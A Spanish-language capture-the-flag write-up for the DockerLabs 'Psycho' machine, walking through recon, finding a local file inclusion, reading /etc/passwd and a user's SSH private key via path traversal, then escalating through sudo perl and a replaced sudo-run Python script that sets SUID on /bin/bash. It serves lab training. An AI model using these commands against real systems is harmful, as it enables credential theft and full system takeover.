Psycho

🚀Preparación del Entorno

El proceso para desplegar las máquinas de DockerLabs es bastante sencillo. Sigue estos pasos:

📌 Paso 1: Descargar el archivo CTF

Descarga el archivo ZIP del CTF que deseas utilizar.

📌 Paso 2: Descomprimir el archivo

Ejecuta el siguiente comando en la terminal:

unzip [nombre].zip

📂 Esto extraerá los siguientes archivos:

📌 Paso 3: Ejecutar el script de despliegue

Para iniciar el despliegue de la máquina virtual, ejecuta:

sudo bash auto_deploy.sh [nombre].tar

🕐 Después de unos minutos, el script te proporcionará la IP de la máquina lista para atacar.


🎯Resolución

🔍 Reconocimiento

Comenzamos realizando un escaneo con Nmap para identificar los puertos abiertos y los servicios disponibles en el objetivo

nmap -sVC -p- -n --min-rate 5000 172.17.0.2

Como segundo paso, realizamos un escaneo de los posibles directorios de la página web utilizando el siguiente comando:
Como segundo paso, realizamos un escaneo de los posibles directorios de la página web utilizando el siguiente comando:

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://172.17.0.2 -x txt,sql,py,js,php,html


🕵️Análisis de vulnerabilidades

Dado que el escaneo de directorios no ha revelado información útil, probaremos si el sitio es vulnerable a Local File Inclusion (LFI). Para ello, utilizaremos Wfuzz con un ataque de fuerza bruta en un parámetro de la URL.

wfuzz -c --hl=62 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt 'http://172.17.0.2/index.php?FUZZ=../../../../../../../../../etc/passwd' 

🎯 Explotación

🔓 Explotación de LFI con curl

Ahora que sabemos que el parámetro secret permite incluir archivos, utilizamos curl para extraer información del sistema:

curl -i http://172.17.0.2/index.php?secret=../../../../../../../../../etc/passwd

Pasted image 20250329194019.png
Tenemos dos usuarios lusillo y vaxei. Dado que tenemos la vulnerabilidad LFI podemos robar su clave ssh. En este caso funciona el usuario vaxei

curl -i http://172.17.0.2/index.php?secret=../../../../../../../../../home/vaxei/.ssh/id_rsa  

Pasted image 20250329194406.png
Y lo guardamos en un id-rsa. y nos conectamos por ssh como vaxei
Pasted image 20250329195818.png
Ya estamos dentro de la máquina como vaxei


📈 Escalada de privilegios

🔍 Verificando permisos con sudo -l

Ejecutamos el siguiente comando para ver qué podemos ejecutar como root sin necesidad de contraseña:

sudo -l

El usuario vaxei puede ejecutar perl como el usuario lusillo sin contraseña.
Pasted image 20250329195916.png
🚀 Escalada a lusillo

Para obtener acceso como lusillo, utilizamos Perl con sudo:
Identificamos un servicio llamado perl que podemos ejecutar como luisillo . Al consultar la página GTFOBins, encontramos que usando el siguiente comando podemos obtener privilegios :

sudo -u luisillo /usr/bin/perl -e 'exec "/bin/bash"'

Vemos que somos el usuario lusillo y aplicamos de nuevo el comando sudo -l para dar salto al usuario root
Pasted image 20250329200238.png
Pasted image 20250329201014.png
Podemos ejecutar el script /opt/paw.py con privilegios elevados usando sudo.
Pasted image 20250329202231.png

mv paw.py hola.py

Crear un nuevo paw.py con código malicioso y ejecutar sudo para obtener privilegios elevados.

import os 

os.system("chmod u+s /bin/bash")

Y luego ejecutamos

¡Ya somos root!

Pasted image 20250329203052.png